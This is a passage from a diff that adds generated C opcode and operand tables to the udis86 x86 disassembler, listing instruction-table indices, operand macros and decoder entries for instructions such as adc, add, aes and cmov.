UD_TAB__OPC_MODE, "/m" }, + /* 307 */ { ud_itab__307, UD_TAB__OPC_MODE, "/m" }, + /* 308 */ { ud_itab__308, UD_TAB__OPC_MODE, "/m" }, + /* 309 */ { ud_itab__309, UD_TAB__OPC_MODE, "/m" }, + /* 310 */ { ud_itab__310, UD_TAB__OPC_MODE, "/m" }, + /* 311 */ { ud_itab__311, UD_TAB__OPC_MODE, "/m" }, + /* 312 */ { ud_itab__312, UD_TAB__OPC_MODE, "/m" }, + /* 313 */ { ud_itab__313, UD_TAB__OPC_REG, "/reg" }, + /* 314 */ { ud_itab__314, UD_TAB__OPC_REG, "/reg" }, + /* 315 */ { ud_itab__315, UD_TAB__OPC_OSIZE, "/o" }, + /* 316 */ { ud_itab__316, UD_TAB__OPC_OSIZE, "/o" }, + /* 317 */ { ud_itab__317, UD_TAB__OPC_MODE, "/m" }, + /* 318 */ { ud_itab__318, UD_TAB__OPC_OSIZE, "/o" }, + /* 319 */ { ud_itab__319, UD_TAB__OPC_MODE, "/m" }, + /* 320 */ { ud_itab__320, UD_TAB__OPC_MODE, "/m" }, + /* 321 */ { ud_itab__321, UD_TAB__OPC_MODE, "/m" }, + /* 322 */ { ud_itab__322, UD_TAB__OPC_OSIZE, "/o" }, + /* 323 */ { ud_itab__323, UD_TAB__OPC_MODE, "/m" }, + /* 324 */ { ud_itab__324, UD_TAB__OPC_MODE, "/m" }, + /* 325 */ { ud_itab__325, UD_TAB__OPC_MODE, "/m" }, + /* 326 */ { ud_itab__326, UD_TAB__OPC_OSIZE, "/o" }, + /* 327 */ { ud_itab__327, UD_TAB__OPC_OSIZE, "/o" }, + /* 328 */ { ud_itab__328, UD_TAB__OPC_OSIZE, "/o" }, + /* 329 */ { ud_itab__329, UD_TAB__OPC_OSIZE, "/o" }, + /* 330 */ { ud_itab__330, UD_TAB__OPC_OSIZE, "/o" }, + /* 331 */ { ud_itab__331, UD_TAB__OPC_REG, "/reg" }, + /* 332 */ { ud_itab__332, UD_TAB__OPC_REG, "/reg" }, + /* 333 */ { ud_itab__333, UD_TAB__OPC_VEX, "/vex" }, + /* 334 */ { ud_itab__334, UD_TAB__OPC_MODE, "/m" }, + /* 335 */ { ud_itab__335, UD_TAB__OPC_TABLE, "opctbl" }, + /* 336 */ { ud_itab__336, UD_TAB__OPC_MOD, "/mod" }, + /* 337 */ { ud_itab__337, UD_TAB__OPC_MOD, "/mod" }, + /* 338 */ { ud_itab__338, UD_TAB__OPC_MOD, "/mod" }, + /* 339 */ { ud_itab__339, UD_TAB__OPC_REG, "/reg" }, + /* 340 */ { ud_itab__340, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 341 */ { ud_itab__341, UD_TAB__OPC_TABLE, "opctbl" }, + /* 342 */ { ud_itab__342, UD_TAB__OPC_MOD, "/mod" }, + /* 343 */ { ud_itab__343, UD_TAB__OPC_MOD, "/mod" }, + /* 344 */ { ud_itab__344, UD_TAB__OPC_OSIZE, "/o" }, + /* 345 */ { ud_itab__345, UD_TAB__OPC_REG, "/reg" }, + /* 346 */ { ud_itab__346, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 347 */ { ud_itab__347, UD_TAB__OPC_REG, "/reg" }, + /* 348 */ { ud_itab__348, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 349 */ { ud_itab__349, UD_TAB__OPC_REG, "/reg" }, + /* 350 */ { ud_itab__350, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 351 */ { ud_itab__351, UD_TAB__OPC_OSIZE, "/o" }, + /* 352 */ { ud_itab__352, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 353 */ { ud_itab__353, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 354 */ { ud_itab__354, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 355 */ { ud_itab__355, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 356 */ { ud_itab__356, UD_TAB__OPC_MOD, "/mod" }, + /* 357 */ { ud_itab__357, UD_TAB__OPC_TABLE, "opctbl" }, + /* 358 */ { ud_itab__358, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 359 */ { ud_itab__359, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 360 */ { ud_itab__360, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 361 */ { ud_itab__361, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 362 */ { ud_itab__362, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 363 */ { ud_itab__363, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 364 */ { ud_itab__364, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 365 */ { ud_itab__365, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 366 */ { ud_itab__366, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 367 */ { ud_itab__367, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 368 */ { ud_itab__368, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 369 */ { ud_itab__369, UD_TAB__OPC_TABLE, "opctbl" }, + /* 370 */ { ud_itab__370, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 371 */ { ud_itab__371, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 372 */ { ud_itab__372, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 373 */ { ud_itab__373, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 374 */ { ud_itab__374, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 375 */ { ud_itab__375, UD_TAB__OPC_OSIZE, "/o" }, + /* 376 */ { ud_itab__376, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 377 */ { ud_itab__377, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 378 */ { ud_itab__378, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 379 */ { ud_itab__379, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 380 */ { ud_itab__380, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 381 */ { ud_itab__381, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 382 */ { ud_itab__382, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 383 */ { ud_itab__383, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 384 */ { ud_itab__384, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 385 */ { ud_itab__385, UD_TAB__OPC_MODE, "/m" }, + /* 386 */ { ud_itab__386, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 387 */ { ud_itab__387, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 388 */ { ud_itab__388, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 389 */ { ud_itab__389, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 390 */ { ud_itab__390, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 391 */ { ud_itab__391, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 392 */ { ud_itab__392, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 393 */ { ud_itab__393, UD_TAB__OPC_VEX_W, "/vexw" }, + /* 394 */ { ud_itab__394, UD_TAB__OPC_TABLE, "opctbl" }, + /* 395 */ { ud_itab__395, UD_TAB__OPC_MOD, "/mod" }, + /* 396 */ { ud_itab__396, UD_TAB__OPC_MOD, "/mod" }, + /* 397 */ { ud_itab__397, UD_TAB__OPC_MOD, "/mod" }, + /* 398 */ { ud_itab__398, UD_TAB__OPC_MOD, "/mod" }, + /* 399 */ { ud_itab__399, UD_TAB__OPC_TABLE, "opctbl" }, + /* 400 */ { ud_itab__400, UD_TAB__OPC_MOD, "/mod" }, + /* 401 */ { ud_itab__401, UD_TAB__OPC_MOD, "/mod" }, + /* 402 */ { ud_itab__402, UD_TAB__OPC_MOD, "/mod" }, + /* 403 */ { ud_itab__403, UD_TAB__OPC_VEX, "/vex" }, + /* 404 */ { ud_itab__404, UD_TAB__OPC_MODE, "/m" }, + /* 405 */ { ud_itab__405, UD_TAB__OPC_REG, "/reg" }, + /* 406 */ { ud_itab__406, UD_TAB__OPC_REG, "/reg" }, + /* 407 */ { ud_itab__407, UD_TAB__OPC_MODE, "/m" }, + /* 408 */ { ud_itab__408, UD_TAB__OPC_OSIZE, "/o" }, + /* 409 */ { ud_itab__409, UD_TAB__OPC_REG, "/reg" }, + /* 410 */ { ud_itab__410, UD_TAB__OPC_REG, "/reg" }, + /* 411 */ { ud_itab__411, UD_TAB__OPC_REG, "/reg" }, + /* 412 */ { ud_itab__412, UD_TAB__OPC_REG, "/reg" }, + /* 413 */ { ud_itab__413, UD_TAB__OPC_MODE, "/m" }, + /* 414 */ { ud_itab__414, UD_TAB__OPC_MODE, "/m" }, + /* 415 */ { ud_itab__415, UD_TAB__OPC_MODE, "/m" }, + /* 416 */ { ud_itab__416, UD_TAB__OPC_MOD, "/mod" }, + /* 417 */ { ud_itab__417, UD_TAB__OPC_REG, "/reg" }, + /* 418 */ { ud_itab__418, UD_TAB__OPC_X87, "/x87" }, + /* 419 */ { ud_itab__419, UD_TAB__OPC_MOD, "/mod" }, + /* 420 */ { ud_itab__420, UD_TAB__OPC_REG, "/reg" }, + /* 421 */ { ud_itab__421, UD_TAB__OPC_X87, "/x87" }, + /* 422 */ { ud_itab__422, UD_TAB__OPC_MOD, "/mod" }, + /* 423 */ { ud_itab__423, UD_TAB__OPC_REG, "/reg" }, + /* 424 */ { ud_itab__424, UD_TAB__OPC_X87, "/x87" }, + /* 425 */ { ud_itab__425, UD_TAB__OPC_MOD, "/mod" }, + /* 426 */ { ud_itab__426, UD_TAB__OPC_REG, "/reg" }, + /* 427 */ { ud_itab__427, UD_TAB__OPC_X87, "/x87" }, + /* 428 */ { ud_itab__428, UD_TAB__OPC_MOD, "/mod" }, + /* 429 */ { ud_itab__429, UD_TAB__OPC_REG, "/reg" }, + /* 430 */ { ud_itab__430, UD_TAB__OPC_X87, "/x87" }, + /* 431 */ { ud_itab__431, UD_TAB__OPC_MOD, "/mod" }, + /* 432 */ { ud_itab__432, UD_TAB__OPC_REG, "/reg" }, + /* 433 */ { ud_itab__433, UD_TAB__OPC_X87, "/x87" }, + /* 434 */ { ud_itab__434, UD_TAB__OPC_MOD, "/mod" }, + /* 435 */ { ud_itab__435, UD_TAB__OPC_REG, "/reg" }, + /* 436 */ { ud_itab__436, UD_TAB__OPC_X87, "/x87" }, + /* 437 */ { ud_itab__437, UD_TAB__OPC_MOD, "/mod" }, + /* 438 */ { ud_itab__438, UD_TAB__OPC_REG, "/reg" }, + /* 439 */ { ud_itab__439, UD_TAB__OPC_X87, "/x87" }, + /* 440 */ { ud_itab__440, UD_TAB__OPC_ASIZE, "/a" }, + /* 441 */ { ud_itab__441, UD_TAB__OPC_MODE, "/m" }, + /* 442 */ { ud_itab__442, UD_TAB__OPC_REG, "/reg" }, + /* 443 */ { ud_itab__443, UD_TAB__OPC_REG, "/reg" }, + /* 444 */ { ud_itab__444, UD_TAB__OPC_REG, "/reg" }, + /* 445 */ { ud_itab__445, UD_TAB__OPC_REG, "/reg" }, + /* 446 */ { ud_itab__446, UD_TAB__OPC_MODE, "/m" }, +}; + +/* itab entry operand definitions (for readability) */ +#define O_AL { OP_AL, SZ_B } +#define O_AX { OP_AX, SZ_W } +#define O_Av { OP_A, SZ_V } +#define O_C { OP_C, SZ_NA } +#define O_CL { OP_CL, SZ_B } +#define O_CS { OP_CS, SZ_NA } +#define O_CX { OP_CX, SZ_W } +#define O_D { OP_D, SZ_NA } +#define O_DL { OP_DL, SZ_B } +#define O_DS { OP_DS, SZ_NA } +#define O_DX { OP_DX, SZ_W } +#define O_E { OP_E, SZ_NA } +#define O_ES { OP_ES, SZ_NA } +#define O_Eb { OP_E, SZ_B } +#define O_Ed { OP_E, SZ_D } +#define O_Eq { OP_E, SZ_Q } +#define O_Ev { OP_E, SZ_V } +#define O_Ew { OP_E, SZ_W } +#define O_Ey { OP_E, SZ_Y } +#define O_Ez { OP_E, SZ_Z } +#define O_FS { OP_FS, SZ_NA } +#define O_Fv { OP_F, SZ_V } +#define O_G { OP_G, SZ_NA } +#define O_GS { OP_GS, SZ_NA } +#define O_Gb { OP_G, SZ_B } +#define O_Gd { OP_G, SZ_D } +#define O_Gq { OP_G, SZ_Q } +#define O_Gv { OP_G, SZ_V } +#define O_Gw { OP_G, SZ_W } +#define O_Gy { OP_G, SZ_Y } +#define O_Gz { OP_G, SZ_Z } +#define O_H { OP_H, SZ_X } +#define O_Hqq { OP_H, SZ_QQ } +#define O_Hx { OP_H, SZ_X } +#define O_I1 { OP_I1, SZ_NA } +#define O_I3 { OP_I3, SZ_NA } +#define O_Ib { OP_I, SZ_B } +#define O_Iv { OP_I, SZ_V } +#define O_Iw { OP_I, SZ_W } +#define O_Iz { OP_I, SZ_Z } +#define O_Jb { OP_J, SZ_B } +#define O_Jv { OP_J, SZ_V } +#define O_Jz { OP_J, SZ_Z } +#define O_L { OP_L, SZ_O } +#define O_Lx { OP_L, SZ_X } +#define O_M { OP_M, SZ_NA } +#define O_Mb { OP_M, SZ_B } +#define O_MbRd { OP_MR, SZ_BD } +#define O_MbRv { OP_MR, SZ_BV } +#define O_Md { OP_M, SZ_D } +#define O_MdRy { OP_MR, SZ_DY } +#define O_MdU { OP_MU, SZ_DO } +#define O_Mdq { OP_M, SZ_DQ } +#define O_Mo { OP_M, SZ_O } +#define O_Mq { OP_M, SZ_Q } +#define O_MqU { OP_MU, SZ_QO } +#define O_Ms { OP_M, SZ_W } +#define O_Mt { OP_M, SZ_T } +#define O_Mv { OP_M, SZ_V } +#define O_Mw { OP_M, SZ_W } +#define O_MwRd { OP_MR, SZ_WD } +#define O_MwRv { OP_MR, SZ_WV } +#define O_MwRy { OP_MR, SZ_WY } +#define O_MwU { OP_MU, SZ_WO } +#define O_N { OP_N, SZ_Q } +#define O_NONE { OP_NONE, SZ_NA } +#define O_Ob { OP_O, SZ_B } +#define O_Ov { OP_O, SZ_V } +#define O_Ow { OP_O, SZ_W } +#define O_P { OP_P, SZ_Q } +#define O_Q { OP_Q, SZ_Q } +#define O_R { OP_R, SZ_RDQ } +#define O_R0b { OP_R0, SZ_B } +#define O_R0v { OP_R0, SZ_V } +#define O_R0w { OP_R0, SZ_W } +#define O_R0y { OP_R0, SZ_Y } +#define O_R0z { OP_R0, SZ_Z } +#define O_R1b { OP_R1, SZ_B } +#define O_R1v { OP_R1, SZ_V } +#define O_R1w { OP_R1, SZ_W } +#define O_R1y { OP_R1, SZ_Y } +#define O_R1z { OP_R1, SZ_Z } +#define O_R2b { OP_R2, SZ_B } +#define O_R2v { OP_R2, SZ_V } +#define O_R2w { OP_R2, SZ_W } +#define O_R2y { OP_R2, SZ_Y } +#define O_R2z { OP_R2, SZ_Z } +#define O_R3b { OP_R3, SZ_B } +#define O_R3v { OP_R3, SZ_V } +#define O_R3w { OP_R3, SZ_W } +#define O_R3y { OP_R3, SZ_Y } +#define O_R3z { OP_R3, SZ_Z } +#define O_R4b { OP_R4, SZ_B } +#define O_R4v { OP_R4, SZ_V } +#define O_R4w { OP_R4, SZ_W } +#define O_R4y { OP_R4, SZ_Y } +#define O_R4z { OP_R4, SZ_Z } +#define O_R5b { OP_R5, SZ_B } +#define O_R5v { OP_R5, SZ_V } +#define O_R5w { OP_R5, SZ_W } +#define O_R5y { OP_R5, SZ_Y } +#define O_R5z { OP_R5, SZ_Z } +#define O_R6b { OP_R6, SZ_B } +#define O_R6v { OP_R6, SZ_V } +#define O_R6w { OP_R6, SZ_W } +#define O_R6y { OP_R6, SZ_Y } +#define O_R6z { OP_R6, SZ_Z } +#define O_R7b { OP_R7, SZ_B } +#define O_R7v { OP_R7, SZ_V } +#define O_R7w { OP_R7, SZ_W } +#define O_R7y { OP_R7, SZ_Y } +#define O_R7z { OP_R7, SZ_Z } +#define O_S { OP_S, SZ_W } +#define O_SS { OP_SS, SZ_NA } +#define O_ST0 { OP_ST0, SZ_NA } +#define O_ST1 { OP_ST1, SZ_NA } +#define O_ST2 { OP_ST2, SZ_NA } +#define O_ST3 { OP_ST3, SZ_NA } +#define O_ST4 { OP_ST4, SZ_NA } +#define O_ST5 { OP_ST5, SZ_NA } +#define O_ST6 { OP_ST6, SZ_NA } +#define O_ST7 { OP_ST7, SZ_NA } +#define O_U { OP_U, SZ_O } +#define O_Ux { OP_U, SZ_X } +#define O_V { OP_V, SZ_DQ } +#define O_Vdq { OP_V, SZ_DQ } +#define O_Vqq { OP_V, SZ_QQ } +#define O_Vsd { OP_V, SZ_Q } +#define O_Vx { OP_V, SZ_X } +#define O_W { OP_W, SZ_DQ } +#define O_Wdq { OP_W, SZ_DQ } +#define O_Wqq { OP_W, SZ_QQ } +#define O_Wsd { OP_W, SZ_Q } +#define O_Wx { OP_W, SZ_X } +#define O_eAX { OP_eAX, SZ_Z } +#define O_eCX { OP_eCX, SZ_Z } +#define O_eDX { OP_eDX, SZ_Z } +#define O_rAX { OP_rAX, SZ_V } +#define O_rCX { OP_rCX, SZ_V } +#define O_rDX { OP_rDX, SZ_V } +#define O_sIb { OP_sI, SZ_B } +#define O_sIv { OP_sI, SZ_V } +#define O_sIz { OP_sI, SZ_Z } + +struct ud_itab_entry ud_itab[] = { + /* 0000 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0001 */ { UD_Iaaa, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0002 */ { UD_Iaad, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0003 */ { UD_Iaam, O_Ib, O_NONE, O_NONE, O_NONE, P_none }, + /* 0004 */ { UD_Iaas, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0005 */ { UD_Iadc, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0006 */ { UD_Iadc, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0007 */ { UD_Iadc, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0008 */ { UD_Iadc, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0009 */ { UD_Iadc, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0010 */ { UD_Iadc, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0011 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0012 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0013 */ { UD_Iadc, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0014 */ { UD_Iadc, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0015 */ { UD_Iadd, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0016 */ { UD_Iadd, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0017 */ { UD_Iadd, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0018 */ { UD_Iadd, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0019 */ { UD_Iadd, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0020 */ { UD_Iadd, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0021 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0022 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0023 */ { UD_Iadd, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0024 */ { UD_Iadd, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0025 */ { UD_Iaddpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0026 */ { UD_Ivaddpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0027 */ { UD_Iaddps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0028 */ { UD_Ivaddps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0029 */ { UD_Iaddsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0030 */ { UD_Ivaddsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0031 */ { UD_Iaddss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0032 */ { UD_Ivaddss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0033 */ { UD_Iaddsubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0034 */ { UD_Ivaddsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0035 */ { UD_Iaddsubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0036 */ { UD_Ivaddsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0037 */ { UD_Iaesdec, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0038 */ { UD_Ivaesdec, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0039 */ { UD_Iaesdeclast, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0040 */ { UD_Ivaesdeclast, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0041 */ { UD_Iaesenc, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0042 */ { UD_Ivaesenc, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0043 */ { UD_Iaesenclast, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0044 */ { UD_Ivaesenclast, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0045 */ { UD_Iaesimc, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0046 */ { UD_Ivaesimc, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0047 */ { UD_Iaeskeygenassist, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0048 */ { UD_Ivaeskeygenassist, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0049 */ { UD_Iand, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0050 */ { UD_Iand, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0051 */ { UD_Iand, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0052 */ { UD_Iand, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0053 */ { UD_Iand, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0054 */ { UD_Iand, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0055 */ { UD_Iand, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0056 */ { UD_Iand, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0057 */ { UD_Iand, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0058 */ { UD_Iand, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0059 */ { UD_Iandpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0060 */ { UD_Ivandpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0061 */ { UD_Iandps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0062 */ { UD_Ivandps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0063 */ { UD_Iandnpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0064 */ { UD_Ivandnpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0065 */ { UD_Iandnps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0066 */ { UD_Ivandnps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0067 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, O_NONE, P_aso }, + /* 0068 */ { UD_Imovsxd, O_Gq, O_Ed, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 0069 */ { UD_Icall, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0070 */ { UD_Icall, O_Eq, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 0071 */ { UD_Icall, O_Fv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0072 */ { UD_Icall, O_Jz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 0073 */ { UD_Icall, O_Av, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0074 */ { UD_Icbw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0075 */ { UD_Icwde, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0076 */ { UD_Icdqe, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0077 */ { UD_Iclc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0078 */ { UD_Icld, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0079 */ { UD_Iclflush, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0080 */ { UD_Iclgi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0081 */ { UD_Icli, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0082 */ { UD_Iclts, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0083 */ { UD_Icmc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0084 */ { UD_Icmovo, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0085 */ { UD_Icmovno, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0086 */ { UD_Icmovb, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0087 */ { UD_Icmovae, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0088 */ { UD_Icmovz, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0089 */ { UD_Icmovnz, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0090 */ { UD_Icmovbe, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0091 */ { UD_Icmova, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0092 */ { UD_Icmovs, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0093 */ { UD_Icmovns, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0094 */ { UD_Icmovp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0095 */ { UD_Icmovnp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0096 */ { UD_Icmovl, 